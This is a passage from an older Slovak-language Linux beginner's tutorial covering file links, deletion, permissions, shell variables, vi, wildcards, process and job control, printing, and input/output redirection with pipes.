Vidime, ze subory novy.txt aj sysadmin.txt ukazuju na ten isty i-node. Nejedna sa teda o kopiou, ale o totozny subor. Ak je adresar, v ktorom chceme vytvorit linku, na jednej particii disku a subor, na ktory chceme linku vytvorit, je na inej particii, taketo linky ( zvane hard ) sa nam vytvorit nepodari. Potom treba urobit symbolicku linku:
$ ln -s novsi.txt novy.txt
$ ls -i
300607 ja
300608 novsi.txt
300606 novy.txt
300606 sysadmin.txt
$
Vidime, ze symbolicka linka obsadila dalsi i-node ( a az ten ukazuje na subor novsi.txt ). Vyhoda symbolickych liniek je v tom, ze mozu odkazovat na zatial neexistujuci subor.

Subor premenujeme prikazom mv:

$ mv ja ty
$ ls
novsi.txt
novy.txt
sysadmin.txt
ty
$
Prikaz mv v skutocnosti presuva subor. Nie vsak fyzicky, vymaze iba odkaz na i-node v jednom adresari a novy odkaz zapise do druheho - tym logicky premiestni subor v (myslenom adresarovom) strome suborov. Prikaz
$ mv ty ..
$
presunie subor ty do rodicovskeho adresara. Prikaz
$ mv ty ../naozaj_ty
$
presunie subor ty do rodicovskeho (nadradreneho) adresara a umiestni ho tam pod menom naozaj_ty.

A konecne prikaz rm vymaze subor (zrusi odkaz v adresari na i-node; ak na i-node existuje viacero odkazov, subor zruseny nebude):

$ ls
novy.txt
novy_subor.txt
sysadmin.txt
$ rm novy.txt novy_subor.txt
$ ls
sysadmin.txt
$
Prikaz ls -F zobrazi nielen nazvy suborov a adresarov, ale aj naznaci, ci ide o subor alebo o adresar
$ cd /home/milan/txt
$ ls -F
pokus/
poznamky.txt
sysadmin.txt
vediet.txt
vi.txt
$
Lomitko za nazvom pokus naznacuje, ze ide o adresar. Skusme ho vymazat prikazom rmdir (remove directory = vymaz adresar)
$ rmdir pokus
rmdir: pokus: Directory not empty
$
Prikaz rmdir odmietol vymazat adresar - nie je prazdny ( obsahuje ine polozky, nez "." a ".." ). Najprv ich teda treba vymazat, az potom je mozne vymazat adresar. Nesmieme sa vsak v nom nachadzat. Je aj jednoduchsia moznost, ako vymazat aj neprazdny adresar. Prikaz
$ rm -r pokus
$
rekurzivne vymaze uvedeny adresar aj s celym jeho podstromom. Prikaz rm -rf vymaze aj subory, ktore maju zakazane mazanie. Tento prikaz je velmi nebezpecny ! Neexistuje moznost obnovy suboru po jeho vymazani ! Je preto rozumne pouzivat prepinac -i = interaktivne vymazavanie, pri jeho pouziti sa prikaz rm pyta, ci ma jednotlive subory a adresare naozaj vymazat.
$ pwd /home/milan/txt
$ rm -rfi pokus
rm: descend directory `pokus'? y
rm: remove `pokus/sysadmin.txt'? y
rm: remove directory `pokus'? y
$
Kazde vymazanie potrebovalo odpoved y.

Ako je vlastne mozne, ze napiseme ls a system spusta program s tymto nazvom ? System ho jednoducho hlada v standardnych adresaroch /bin a /usr/bin a ak ho nenajde, hlada v aktualnom adresari. Takto je to v Linuxe ( v niektorych inych UNIXovych systemoch sa najprv hlada v aktualnom adresari, az potom v ostatnych ).

Doteraz preberane prikazy boli

Tym, ze Linuxovsky shell hlada programy v aktualnom adresari az nakoniec, vyrazne stupla jeho bezpecnost. Ak by totiz hladal subory najprv v aktualnom adresari, je mozne napisat program, ktory moze byt v rukach roota velmi destrukcny a pomenovat ho napriklad ls. Ak by sa root prepol prikazom cd do Vasho adresara a spustil by prikaz ls, spustil by Vas program s tymto nazvom namiesto /bin/ls, ale ten by mal prava roota a mohol by vymazat vsetky disky ci narobit inu neplechu.

Co sa stane, ak zadame nazov neexistujuceho programu ? Shell subor s tymto nazvom nenajde a vyhlasi chybu ( nic strasne sa v skutocnosti nestalo )

$ abrakadabra
bash: abrakadabra: command not found
$
Mnou pouzivany shell bash subor s tymto nazvom nenasiel. Mimochodom, ako shell vie, v ktorych adresaroch programy hladat ? Zisti si to z premennej shellu s nazvom PATH. Mozeme si jej obsah vypisat:
$ echo $PATH
/usr/local/bin:/bin:/usr/bin:/usr/X11/bin:/usr/andrew/bin:/usr/openwin/bin:
/usr/local/eclipse/bin/i386_linux_elf:/usr/games:.
$
Vidime, ze bodka oznacujuca aktualny adresar sa naozaj nachadza az ako posledna.

Prikaz echo vypise na obrazovku svoje argumenty oddelene medzerou:

$ echo I am not Michael Jackson
I am not Michael Jackson
$
$PATH vypise obsah premennej PATH, ale ak ho zadame priamo ( bez prikazu echo ), shell sa pokusi najst subor /usr/local/bin:/bin:/usr/bin atd. a nenajde ho. Aj prompt je nastaveny v premennej shellu, vypisme si ho:
$ echo $PS1
$
$
Zmenme "$ " na nieco krajsie
$ PS1="Ahoj Milan, zadaj prikaz: " ; export PS1
Ahoj Milan, zadaj prikaz:
A novy prompt je omnoho krajsi. Toto nastavovanie je typicke pre shell bash. Bodkociarka umoznuje prakticky vo vsetkych shelloch zadat viacero prikazov na jednom riadku. Premenna=Hodnota nastavi premennu shellu na danu hodnotu. Prikaz export ju exportuje, t.j. ak shell spusti iny program ( ak napisete bash, mozete spustit novy proces shellu, stary bude na Vas cakat ) a my novemu programu nastavime externu premennu, nastavenie v starom shelli sa neuskutocni ( novy program totiz dostal kopie premennych shellu ). Prikaz export nastavi novu hodnotu danej premennej VSETKYM programom daneho sedenia.

Ktore premenne existuju a ako su nastavene, umoznuje zistit prikaz set.

V shelli tcsh je vsetko inac - premena sa nastavi prikazom

$ setenv premenna hodnota
$
a nie je ju potrebne exportovat. Hodnoty premennych zisti prikaz setenv bez argumentov.

Zmenit default shell ( t.j. shell, ktory sa ma automaticky spustat po prihlaseni ) umoznuje prikaz chsh ( CHange the SHell = zmen shell )

$ chsh
Changing shell for milan.
New shell [/bin/bash]: /bin/tcsh
Shell changed.
$
Prikaz chfn zmeni udaje o pouzivatelovi pre program finger
$ finger milan
Login: milan                  Name: Milan Schmotzer
Directory: /home/milan        Shell: /bin/bash
On since Sat Sep 14 23:59 ( ) on tty2 15 seconds idle
On since Sun Sep 15 01:27 ( ) on tty1
No mail.
No plan.
$ chfn
Changing finger information for milan.
Name [Milan Schmotzer]:
Office []: Urad
Office Phone []: 92348217
Home Phone []: 383842
Finger information changed.
$ finger milan
Login: milan                  Name: Milan Schmotzer
Directory: /home/milan        Shell: /bin/bash
Office: Urad, 92348217        Home Phone: 383842
On since Sat Sep 14 23:59 ( ) on tty2 2 seconds idle
On since Sun Sep 15 01:27 ( ) on tty1
No mail.
Plan:
$
Vidime, ze program finger uz uvadza aj moje telefonne cislo a ine udaje. Tieto udaje finger ulozi do suboru s pouzviatelskymi heslami /etc/passwd. Povodny riadok pre mna
milan::501:100:Milan Schmotzer:/home/milan:/bin/bash
sa zmenil na
milan::501:100:Milan Schmotzer,Urad,92348217,383842,:/home/milan:/bin/bash
Ak v Linuxe stlacite kombinaciu klaves Shift-PgUp alebo Shift-PgDn, pohybujete sa po uz preslych castiach obrazovky ( odskusajte a pochopite ).

Nakoniec prikaz

$ mc
$
zavedie Midnight Commander velmi podobny oblubenemu Norton Commanderu pod systemom MS-DOS.
$ mc -c
$
zavedie farebnu verziu ( plati pre X-Window, inak sa farebna verzia spusta vzdy ). Presnejsie povedane, nezavedie farebnu verziu, ale prepne Midnight Commandera do farebneho rezimu.

Pokial systemovy administrator nenainstaloval databazu terminalov, t.j. subor /usr/lib/terminfo s popisom terminalov - jeho orezana verzia je dodavana s kniznicou ncurses, mozete mat problem spustit program mc pod grafickym (po)uzivatelskym rozhranim X-Window - v "okne" emulatora najakeho terminalu. Mozete sa pokusit nastavit externu premennu shellu prikazom

$ setenv TERM vt100
$
ak pouzivate shell tcsh, alebo prikazom
$ TERM=vt100 ; export TERM
$
ak pouzivate shell bash a opatovne zadat prikaz mc. Ak mate problemy s pouzitim klaves F1 az F10, mozete ich simulovat tak, ze napriklad namiesto klavesy F1 stlacite <ESC> a potom cislo 1.

OCHRANA SYSTEMU SUBOROV

Dlhy ( long ) format prikazu ls nam o pravach povie viac:
$ cd ~milan/txt/pokus
$ ls
ja
sysadmin.txt
$ ls -l
total 124
-rwxr-xr-- 1 milan users 61973 Sep 15 02:15 ja
-rwxr-xr-- 1 milan users 61581 Sep 15 02:12 sysadmin.txt
$
Tento prikaz na prvom riadku hovori, ze subory v adresari zaberaju dohromady 124 KB ( kilobajtov ) diskoveho priestoru.

Dalej nasleduje tabulka, ktorej druhy stlpec oznacuje pocet liniek odkazujucich na subor. Prikaz rm nevymaze subor, len odstrani linku ( a zmensi pocet odkazov na subor o 1 ). Ak toto cislo klesne na nulu, je to signal pre jadro, ze bloky moze pouzit. I-node je zatial nezmeneny, meni sa az v pripade, ze sa don nieco zapisalo. Teda vymazany subor sa da obnovit. Zatial sa to robi len pomocou niektoreho debuggera disku, co vyzaduje hlboke znalosti struktury disku.

Treti stlpec oznacuje vlastnika suboru, dalsi pracovnu skupinu, do ktorej vlastnik patri, pocet byteov v subore, datum a cas jeho vytvorenia a nazov suboru.

Prve minus v prvom stlpci hovori, ze ide o obycajny subor. d by oznacovalo adresar ( Directory ), c specialny subor znakovy ( Character ), b specialny subor blokovy ( Block ) a l by oznacovalo symbolicku linku ( symbolic Link ).

Dalsie znaky oznacuju prava. Aby sme mali vypis pred ocami,zobrazme si ho este raz

$ ls -l
total 124
-rwxr-xr-- 1 milan users 61973 Sep 15 02:15 ja
-rwxr-xr-- 1 milan users 61581 Sep 15 02:12 sysadmin.txt
$
Su to trojice rwx r-x r--.

Prva je pre vlastnika, ten smie subor citat ( read = citaj ), zapisovat don ( write = zapis ), a vykonavat ho - spustat ako program ( execute = vykonaj ). Prvy riadok bol pre vlastnika ( user = pouzivatel ), druhy vypisuje prava pre ostatnych clenov skupiny ( group = skupina ) - u nas vidime, ze skupina nema pravo do suboru zapisovat ( je tam namiesto znaku w iba - ), treti riadok oznacuje prava pre ostatnych ( others ) pouzivatelov, v nasom pripade smu len subor len citat.

Tieto prava sa priraduju aj adresarom, pricom citanie adresara ( adresar je tiez subor ) znamena vypis jeho obsahu ( napriklad prikazom ls ), zapis do adresara znamena moznost menit polozky v adresari - vytvarat nove subory, resp. mazat stare, vykonanie adresara znamena moznost vojst do adresara, resp. prechadzat nim do podadresarov. Pre adresare je mozne pouzivat atribut t, ktory pouzivatelom umozni zapisovat don svoje data ale vymazavat iba svoje data, nie data ostatnych pouzivatelov. Taketo nastavenie ochrannych atributov ma napriklad adresar /tmp.

Obvykle nastavenie domovskeho adresara je

$ ls -ld ~milan
drwxr-xr-x 12 milan users 1024 Sep 15 01:00 /home/milan/
$
( prikaz ls -d vypise nie obsah adresara, ale informacie o samotnom adresari ), co znamena, ze zapisovat do adresara a mazat polozky v nom moze len vlastnik ( a superuser, ktory moze vsetko ).

Zmenu nastavenia umoznuje prikaz chmod ( CHange the file MODe )

$ chmod u-x,g-r,o+w ~milan
$ ls -ld ~milan
drw---xrwx 12 milan users 1024 Sep 15 01:00 /home/milan/
$
teda vlastnikovi ( user ) sme zakazali menit polozky adresara ( pridavat a uberat subory a podadresare ), skupine ( group ) sme zakazali citat obsah adresara ( smie vsak adresarom prechadzat ) a ostatnym ( others ) sme povolili aj zapis do suborov.

Iny priklad ( obnovime povodny stav )

$ chmod u=rwx,g=rx,o=rx ~milan
$ ls -ld ~milan
drwxr-xr-x 12 milan users 1024 Sep 15 01:00 /home/milan/
$
Zmenit prava mozno aj ciselne, ale tym sa nebudeme zatazovat.

Prave takto sa vyrabaju skripty ( podobne bat suborom v MS-DOSe ). Su to subory, ktore obsahuju prikazy pre shell. Subory je potrebne vyrobit textovym editorom ( sluzi na vytvaranie a editaciu ( pozmenovanie ) textovych suborov ).

Skript s nazvom moj_skriptik moze napriklad obsahovat prikazy

echo "Hello, world"
pwd
Spustime tento skript
$ moj_skriptik
bash: ./moj_skriptik: Permission denied
$
Moj shell /bin/bash mi oznamil, ze subor moj_skriptik nema nastavene prava spustania. Nastavme ich:
$ chmod u+x moj_skriptik
$ moj_skriptik
Hello, world
/home/milan/txt
$
Subor moj_skriptik je teraz mozne spustit ako by to bol binarny subor.

Linux umoznuje, aby sa programy pri prihlaseni sa pouzivatela do systemu spustali automaticky. Spusta ich shell, ak ich najde v subore .login v pouzivatelskom adresari ( bash ) alebo v subore .tcshrc ( shell tcsh ).

Jednotlive prikazy maju velke mnozstvo volieb, z ktorych vacsinu nikdy nevyuzijete. Popis prikazu si je mozne precitat v anglickom jazyku prikazom man ( man = manual = prirucka prikazu ). Napriklad

$ man ls
zobrazi manual prikazu ls.
$ man man
zobrazi popis samotneho prikazu man. Ovladanie zobrazovania je ako v prikaze more. Znak <medzera> zobrazi dalsiu stranku, znak b predoslu a znak q ukonci pracu programu man. Pokial hladame prikazy pracujuce napriklad s postscriptom, mozeme pouzit prepinac -k:
$ man -k postscript

ZAKLADY EDITORA VI

V UNIXe, ako nakoniec v takmer kazdom operacnom systeme, existuje cela kopa textovych editorov - textedit, xedit a ine pod Grafickym (Po)uzivatelskym Rozhranim systemu X-Window, ale hlavne editory pracujuce v textovom rezime. Su to napriklad cisto 8 bitovy editor jed umoznujuci editovat aj binarne subory; editor jove ( kompatibilny s v Lispe napisanym emacsom ), ktory ma dokonca aj tutorial - ucebny program ( staci spustit program teachjove ), ci lahko ovladatelny editor joe. No jeden textovy editor ma v UNIXe vysadne postavenie. Je to najstarsi celoobrazovkovy editor - bol vyrobeny ako prvy. Vysadne postavenie ma z velmi jednoducheho, ale doleziteho dovodu. Textovy editor /usr/bin/vi sa vyskytuje na kazdom UNIXovom systeme. Jeho ovladanie je krkolomne ( je totiz dost stary - bol to prvy obrazovkovy editor, vznikol po nahradeni dalekopisnych terminalov za terminaly s monitorom ), avsak je zarucene, ze ho najdeme na kazdom UNIXovom systeme. V skutocnosti som na UNIXovskom systeme nikdy ani iny editor nepouzival. Rozhodne sa Vam oplati prestudovat si jeho manual. Moze sa Vam totiz stat, ze sa dostanete na UNIXovy system, na ktorom ine Vam zname textove editory nebudu. A dostanete sa do problemov. Pre nasu potrebu si uvedieme zakladne prikazy tohto editora - hoci ma relativne velke moznosti.

Editor spustime prikazom

$ vi suborik
Ak subor s nazvom suborik neexistoval, editor vi ho vytvori. Ak existoval, vypise jeho obsah a mozete zacat editovat.

Editor vi ma 2 mody cinnosti - prikazovy a vkladaci. Prikazovy mod dokaze vymazat riadok prikazom dd, vymazat znak prikazom x alebo ukoncit cinnost editora prikazom :q ( quit ). Editor neukonci svoju cinnost, ak ste subor pozmenili a nezapisali na disk. Mate dve moznosti. Ak subor pred ukoncenim editora chcete zapisat, napiste :w ( write = zapis ) a potom editor ukoncte prikazom :q ( Da sa to aj skombinovat do prikazu :wq ). Ak nechcete zmeneny subor ulozit na disk, napiste :q! Vykricnik donuti editor ukoncit svoju cinnost bez ohladu na neulozenost textu.

Ked chcete vkladat text, musite prejst do vkladacieho rezimu. Prikazom i ( insert = vloz ) zacnete pisat pred aktualnu poziciu kurzora, prikazom a ( append = pripoj ) zacnete pisat za aktualnu poziciu kurzora a prikazom o zacnete pisat na novy riadok.

V textovom rezime mozete vymazavat znaky normalne - klavesou Delete. Novy riadok vlozite klavesou Enter ( resp. Return )

Spat do prikazoveho rezimu sa dostanete klavesou ESCape.

EXPANZNE ZNAKY

Expanzne znaky ulahcuju vykonavanie prikazov, pretoze umoznuju adresovat naraz viac suborov. Prikaz ls subor poskytne informacie len o danom subore. Co ak potrebujeme informacie len o suboroch z daneho adresara zacinajuce pismenom v ? Ak napiseme
$ ls -l
total 159
-rw-r--r-- 1 milan root 423 Jun 26 17:44 poznamky.txt
-rw-r--r-- 1 milan users 77939 Sep 15 15:29 sysadmin.txt
-rw-r--r-- 1 milan root 1891 Sep 12 16:18 vediet.txt
-rw-r--r-- 1 milan users 1295 Aug 27 15:28 vi.txt
-rw-r--r-- 1 milan users 76795 Sep 15 15:20 zalohasysadmin.txt
$
dostaneme privela informacii. Pomoc nam poskytne znak *, ktory zastupuje lubovolny retazec ( aj prazdny ). Ak shell najde v argumente znak *, argument rozpise na vsetky vyhovujuce argumenty. Priklad
$ ls -l *
Za * shell dosadi vsetky subory aktualneho adresara a programu ls odovzda argument poznamky.txt vediet.txt zalohasysadmin.txt sysadmin.txt vi.txt a tak interne prikaz
$ ls -l *
zameni za
$ ls -l poznamky.txt vediet.txt zalohasysadmin.txt sysadmin.txt vi.txt
total 159
-rw-r--r-- 1 milan root 423 Jun 26 17:44 poznamky.txt
-rw-r--r-- 1 milan users 77939 Sep 15 15:29 sysadmin.txt
-rw-r--r-- 1 milan root 1891 Sep 12 16:18 vediet.txt
-rw-r--r-- 1 milan users 1295 Aug 27 15:28 vi.txt
-rw-r--r-- 1 milan users 76795 Sep 15 15:20 zalohasysadmin.txt
$
Ak chceme vypisat len subory zacinajuce pismenom v, napiseme
$ ls -l v*
-rw-r--r-- 1 milan root 1891 Sep 12 16:18 vediet.txt
-rw-r--r-- 1 milan users 1295 Aug 27 15:28 vi.txt
$
Ak chceme vypisat subory len s presnym poctom znakov na urcitej pozicii, pouzijeme znak ?. Prikaz
$ ls -l v?????.txt
-rw-r--r-- 1 milan users 1295 Aug 27 15:28 vi.txt
$
vypise iba udaje o suboroch zacinajucich pismenom v nasledovanom piatimi lubovolnymi znakmi a konciacim znakovym retazcom ( zoskupenim znakov ) .txt. Ak nam nevyhovuje, ze ? nahradzuje lubovolny znak, pouzijeme namiesto ? hranate zatvorky s vymenovanim pismen, ktore smie znak na tejto pozicii obsahovat. Ak nasleduje niekolko pismen abecedne za sebou, staci uviest iba pociatocne a koncove pismeno oddelene pomlckou. Tu su priklady zlozitejsich kombinacii prikazov:
$ ls -l v[acfi]*
-rw-r--r-- 1 milan users 1295 Aug 27 15:28 vi.txt
$ ls -l v[a-e]*
-rw-r--r-- 1 milan users 1295 Aug 27 15:28 vi.txt
$ ls -l v[c-fh-j]*
-rw-r--r-- 1 milan root 1891 Sep 12 16:18 vediet.txt
-rw-r--r-- 1 milan users 1295 Aug 27 15:28 vi.txt
$

DALSIE PRIKAZY

Prikaz date vypise aktualny datum a cas
$ date
Sun Sep 15 15:46:34 GMT+0100 1996
$
Prikaz time prikaz odmeria dobu trvania prikazu prikaz
$ time date
0.00user 0.03system 0:00.03elapsed 100%CPU (0avgtext+0avgdata
0maxresident)k 0inputs+0outputs (0major+0minor)pagefaults 0swaps
$
Vykonanie prikazu bolo take rychle, ze trvalo 0.03 sekundy. System oddeluje cas, ktory potreboval sam pre seba, ktory spotrebuju pouzivatelia a realny cas ( elapsed ). Dalsie informacie pre nas zatial nie su zaujimave.

Mimochodom, 0 swaps hovori, ze pri vykonavani programu nam pamat stacila, a teda system nemusel najmenej pouzivane casti pamate swapnut na disk.

Blizsie informacie o dostupnej pamati nam poskytne prikaz free

$ free
total used free shared buffers
Mem:  7108 5812 1296 3940 3348 -/+ buffers: 2464 4644
Swap: 32220 0 32220 $
ktory hovori, ze mam 7108 KB pamati ( v skutocnosti mam 8192, ale priblizne 1 MB zabera jadro, ktore je vzdy pritomne, neswapuje sa a do volnej pamati sa nezaratava ). Mam pouzitych 5812 KB RAM a volnych 1296 KB. Riadok Swap: hovori, ze mam 32 MB swap a system ho v tejto chvili nevyuziva.

Prikaz ps, resp. ps -aux poskytuje informacie o procesoch v pamati (ps = processes)

$ ps
PID TTY STAT TIME COMMAND
66  v01   S  0:00  -bash
171 v02   S  0:00  -bash
199 v01   S  0:00  vi sysadmin.txt
215 v02   R  0:00  ps
$
kde PID je Process IDentification number ( identifikacne cislo procesu ), TTY je terminal, na ktorom bol dany proces spusteny, STAT je stav programu, TIME je doteraz spotrebovany procesorovy cas a COMMAND je prikaz, ktorym bol program spusteny.

Vsetky informacie dohromady poskytuje prikaz top, ktory kazdych 5 sekund obnovuje vypis informacii.

Prikaz find najde subor podla mena

$ find /adresar1 /adresar2 -name subor1 -print
Hladame subor s nazvom subor1 ( prepinac -name subor1 ), pricom od programu find pozadujeme, aby vypisal jeho uplne meno aj s cestou ( -print; v novsich systemoch netreba uvadzat) ) a aby hladal v adresaroch /adresar1 a /adresar2.

V Linuxe existuje prikaz locate

$ locate subor1
ktory je omnoho rychlejsi. Neprehladava disk, ale specialny subor, ktory obsahuje umiestnenie suborov na disku. Dolezite je, aby superuzivatel prikazom
# updatedb
#
z pravidelne tuto tabulku obnovoval. Je vhodne nastavit jej obnovovanie prikazom crontab. Po standardnej instalacii je nastavene automaticke obnovovanie raz denne rano o 7:40, takze tento prikaz je potrebne zadavat len vtedy, ak system nebezi 24 hodin denne. Inou moznostou je zmenit poinstalacne nastavenie na nejaky vhodnejsi cas, kedy byva stroj zapnuty. Ja som to zmenil na automaticke updatovanie kazdu hodinu.

TLAC NA TLACIARNI
POSTSCRIPT

Program lpr (line print = tlac na riadkovej tlaciarni) vytlaci textovy subor na lubovolnej tlaciarni. Namiesto lpr mozete skusit pouzit program lp. Programy lp a lpr su v najnovsich verziach distribucii Linuxu Slackware na instalacnych disketach n, na ktorych su siete (networks). Ak ste siete neinstalovali, stale mozete tlacit - ale len ako root (treba zmenit prava suboru /dev/lpr1 ak chcete tlacit ako obycajny pouzivatel) priamym zapisom udajov do suboru zastupujuceho ovladac tlaciarne. Obycajny textovy subor suborik.txt vytlacite ako root takto:
# cat suborik.txt > /dev/lp
#
alebo (ak /dev/lp neexistuje)
# cat suborik.txt > dev/lp1
#
ak nemate nainstalovane programy lpr resp. lp. Ak ich nainstalovane mate, je to pohodlnejsie, lebo mozete tlacit aj ako obycajny pouzivatel takto:
$ lpr suborik.txt
$
Tlacit PostScriptovy subor (s koncovkou .ps) mozete aj na tlaciarni postscript nepodporujucej ako root takto:
# gs -dNOPAUSE -sDEVICE=epson -sOutputFile=/dev/lp1 -r360x180 suborik.ps
#
a ak mate nainstalovany program lpr, tak ako obycajny pouzivatel takto
$ gs -dNOPAUSE -sDEVICE=epson -r360x180 -sOutputFile|lpr suborik.ps
$
Pozor. Zariadenie sDEVICE (standardne zariadenie) je zariadenie, na ktorom sa Vam vystupny subor v grafickej forme zobrazi. Ak ho neuvediete, zobrazi sa na monitore. Tlac suboru .ps na laserovej tlaciarni je mozna priamo
$ lpr suborik.ps
$
U inych tlaciarni treba zadat -sDEVICE=epson alebo -sDEVICE=deskjet. Prepinac -r360x180 hovori, ake ma byt rozlisenie (kvalita tlace) vystupu z tlaciarne (resp. na monitore). U 9 ihlickovej tlaciarne je standard 60x72 DPI a maximalne z nej dostanete 240x72 DPI. Rozlisenie 360x180 je maximalne na tlaciarni 24 ihlickovej. Ak prepinac -r neuvediete, zvoli sa pre epson dost slabe rozlisenie 60x72. Budete sa asi musiet trochu s tym pohrat. Nebojte sa experimentovat.

Postscript umoznuje na monitore citat prikaz

$ gs suborik.ps
$
Ak program gs vypise asi takuto hlasku:

Initializing... gs: Cannot open X display `(null)'.

Asi ste instalovali aj citac postscriptov pod X-Window (to hovori cast X display). Musite prikazom startx spustit graficku nadstavbu Linuxu zvanu X-Window (ak uz nebezi na inom terminale) a tam spustit program ghostview. Binarny subor /usr/bin/gs bol totiz pri instalacii prepisany inym vykonatelnym suborom, ktory treba spustat pod systemom X-Window.

VYTVORENIE POSTSCRIPTU Z WORDU

Ak chcete z programu Microsoft Word 7.0 vyrobit postscriptovy subor a ten potom prezerat za pomoci programov typu Ghostview, treba ho vytlacit do suboru ako Archive Postscript (obycajny archiv). Musi byt pritom "nainstalovana" postscriptova (napriklad laserova) tlaciaren - a to aj vtedy, ak ju fyzicky k dispozicii nemate. Ide o to, ze pri tlaci na nepostscriptovej tlaciarni moznost tlace postscriptu nie je. Postscriptova tlaciaren navyse musi byt navolena v okamihu tlace do suboru. Taketo blizsie udaje k tlaci je v programe Microsoft Word for Windows mozne specifikovat v menu File polozka Print.
 

ZHUSTENIE POSTSCRIPTU

Ak chcete vytlacit dve strany v postscripte napisaneho textu na jednu stranu papiera, teda stranky "zmensit" a usetrit tak polovicu papiera, pouzite program pstops. Je to pomerne zlozity program. Uvedene zhustenie formatu A4 je nutne detailne popisat. V nasledujucom priklade je subor vstup.ps vstupnym (nezhustenym) suborom a subor vystup.ps zhustenym suborom, ktory ma vytvorit program pstops.
$ pstops "4:0L@.7(21cm,0)+1L@.7(21cm,14.85cm),2R@.7(0,29.7cm)+3R@.7(0,14.85cm)" vstup.ps vystup.ps
$

JOBS - PRACE

Kazdy proces ma svoje PID cislo. Mozeme ho zrusit prikazom kill PID. Skusme napriklad zrusit ( slangovo tomu hovorime killnut ) proces cislo 199 z predosleho prikladu (program vi).
$ kill 199
$ ps
PID TTY STAT TIME COMMAND
66  v01   S  0:00 -bash
171 v02   S  0:00 -bash
215 v02   R  0:00 ps
$
Shelly umoznuju spustit proces na pozadi. Naco je to dobre ? Mozete spustit viac programov a prepinat sa medzi nimi ( ak nesedite za konzolou ( terminalom pripojenym priamo k pocitacu ) a nemate tak v Linuxe k dispozicii virtualne terminaly ). Teraz pisem tuto prirucku. Mozem pouzit prikaz na spustenie nejakeho prikazu shellu ( umoznuje mi to editor vi, v ktorom pisem ), ale pouzijem radsej moznosti shellu pre pracu s jobmi (job = praca je kazdy proces, ktory ste spustili zo shellu). Stlacim kombinaciu klaves Ctrl-Z
[1]+ Stopped vi ja
$
a shell POZASTAVIL vykonavanie editora vi a vypisal, ze existuje jeden pozastaveny proces s cislom 1. Ak chcem, aby pokracoval v cinnosti sam ( u textoveho editora = programu na vytvaranie a upravu textov to zmysel nema, ale mozem mat spusteny program, ktory napriklad preklada velky program a vie to robit aj bez mojho zasahu ), napisem
$ bg
[1]+ vi ja &
$
A shell mi oznamil, ze proces 1 bezi na pozadi. Na popredie ho dostanem prikazom fg ( bg = background = pozadie; fg = foreground = popredie ). Pozastavit mozem vzdy len jeden proces, na pozadie mozem hodit lubovolny pocet procesov. Ak je na pozadi len jeden proces, mozem ho vratit do popredia prikazom
$ fg
ak je vsak procesov viac, mozem ich hodit na popredie iba ak uvediem ich cislo. Prikaz
$ fg 1
vrati job 1 na popredie. Proces mozem killnut ( zrusit ) prikazom kill PID. Ak cisla procesov neviem, postacia aj cisla jobov, pomoze prikaz jobs:
$ bg                  Dame do pozadia proces, ktory sme pred
                      chvilou vratili do popredia.
$ jobs
[1]- vi ja
$ kill %1
$ jobs
[1]+ Terminated vi ja
$
Proces mozeme spustit na pozadi priamo pri jeho spusteni umiestnenim znaku & ( ampresand ) za prikazovy riadok. Priklad
$ ls &
[1] 376
$ Mail/
eclipse/
kos/
src/
tmp/
cracking/
jjj
ooo
tk/
txt/
                  Stlacil som <ENTER>
$

PRESMEROVANIE VSTUPOV A VYSTUPOV 
PIPE - RURA

PRESMEROVANIE STANDARDNEHO VSTUPU A VYSTUPU

Procesu spustanemu shellom mozeme pozmenit vstup a vystup tak, ze mu zadame argument zacinajuci znakom > alebo < nasledovany nazvom suboru. Napriklad
$ ls >ooo
$
prikaz ls nevypise obsah aktualneho adresara na obrazovku monitora, ale do suboru s nazvom ooo, pricom jeho predchadzajuci obsah sa premaze. Ak nechceme obsah suboru ooo premazat, ale vypis prikazu ls pripojit za obsah suboru, napiseme
$ ls >>ooo
$
Podobne mozme presmerovat vstup
$ ls -la > ooo 
$ grep txt < ooo
drwxr-xr-x 2 milan root 1024 Sep 15 16:23 txt/
$
Tymito prikazmi mozeme najst informacie o adresari txt. Program grep vyhlada riadky obsahujuce retazec ( prvy argument ) v subore ( druhom argumente ) a vypise ich na svoj vystup. Ak druhy argument neexistuje, ocakava vstup z klavesnice - a ten sme mu zadali my. Ak shell najde znak < alebo > alebo >> pred nazvom suboru, subor neodovzda ako argument programu, len prislusnym sposobom presmeruje vstup z klavsnice resp. vystup na monitor. Spusteny program ani nevie, ze ma presmerovany vstup ci vystup. V skutocnosti aj vstup z klavesnice a vystup na monitor sa pre program javia ako vstup ci vystup z/do suboru. Programy casto posielaju svoj vystup na pouzivtelsky terminal reprezentovany specialnym suborom /dev/tty. Ak je jadro poziadane o zapis do tohto suboru, namiesto toho ovladac reprezentovany tymto suborom zapise znaky na pouzivatelsky terminal.
 

PRESMEROVANIE CHYBOVEHO VYSTUPU

Presmerovanie chyboveho vystupu si najlepsie ozrejmime na priklade:
$ cat < subor > /dev/null 2>&1
$
Prikaz cat by v tomto pripade nemal vypisat nic. Ako vstup dostane subor s nazvom subor. Vystup bude presmerovany na zariadenie /dev/null, ktore sluzi ako "odpadkovy kos". Mozno don "vyhodit", teda zapisat, akykolvek velky subor a zariadenie zostane prazdne. Pri citani sa chova ako prazdny subor. Ani pripadne chybove hlasenie programu cat, napriklad neexistencia suboru subor, nebude na konzolu vypisane, pretoze shell vyraz 2>&1 pochopil tak, ze chybovy vystup presmeroval na zariadenie /dev/null. Standardny vstup ma totiz pri programovani pridelene cislo 0, standardny vystup 1 a chybovy vystup 2.

RURA (PIPE)

Uvedene zalezitosti nam lepsie ozrejmi rura (pipe). Pipelineing umoznuje spajanie prikazov presmerovanim vystupov z jedneho programu na vstup druheho bez vytvarania pomocnych suborov. Znak rury je |. Zapis
$ ls -la > ooo 
$ grep txt < ooo
drwxr-xr-x 2 milan root 1024 Sep 15 16:23 txt/
$
umoznuje rura zapisat ako
$ ls -la | grep txt
drwxr-xr-x 2 milan root 1024 Sep 15 16:23 txt/
$
Program grep tu posobi ako filter, t.j. program, ktory cita vstup, nieco s nim urobi a vypise to na vystup. Dalsie zname filtre su
$ sort subor
ktory abecedne pretriedi riadky v zadanom subore a zapise ich na vystup a nam uz znamy program more, ktory tiez ak nema argument, cita standardny vstup a strankuje ho.

